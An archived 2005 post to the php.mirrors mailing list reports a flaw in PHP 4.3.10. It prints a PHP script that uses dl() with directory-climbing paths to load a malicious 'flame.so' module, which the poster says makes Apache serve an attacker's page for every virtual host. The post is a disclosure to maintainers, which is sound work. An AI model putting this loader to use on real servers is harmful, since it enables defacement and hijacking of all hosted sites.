flame.so bug working in 4.3.10 - are you aware of this?
| From: | hbeaumont hbeaumont | Date: | Wed, 23 Mar 2005 08:57:17 +0000 |
| Subject: | flame.so bug working in 4.3.10 - are you aware of this? | ||
| Groups: | php.mirrors | ||
| Request: | Send a blank email to php-mirrors+get-27735@lists.php.net to get a copy of this message | ||
is this a known bug:
set_time_limit(600);
error_reporting(0);
define("PHP_MEM_DEBUG", 0);
define("PHP_MEM_MAXDEPTH", 20);
define("PHP_MEM_MODULE", "flame.so");
function php_flame_debug($str) {
if (defined("PHP_MEM_DEBUG")) {
echo $str . "<br>\n";
}
}
function php_flame_loaddl() {
unset($i);
settype($i, "integer");
$i = 0;
$pfad = substr(getcwd() . "/" . PHP_MEM_MODULE, 1);
do {
php_flame_debug("Trying #" . $i . ": " . $pfad);
$stat = dl($pfad);
$i++;
$pfad = "../" . $pfad;
} while ($i < PHP_MEM_MAXDEPTH && !$stat);
return $stat;
}
if (php_flame_loaddl()) {
flame_print(getcwd());
} else {
php_flame_debug("Cannot load " . PHP_MEM_MODULE);
}
causes apache to start serving up the page of the attackers choice for
all vhosts.
i can send the .so file if needed.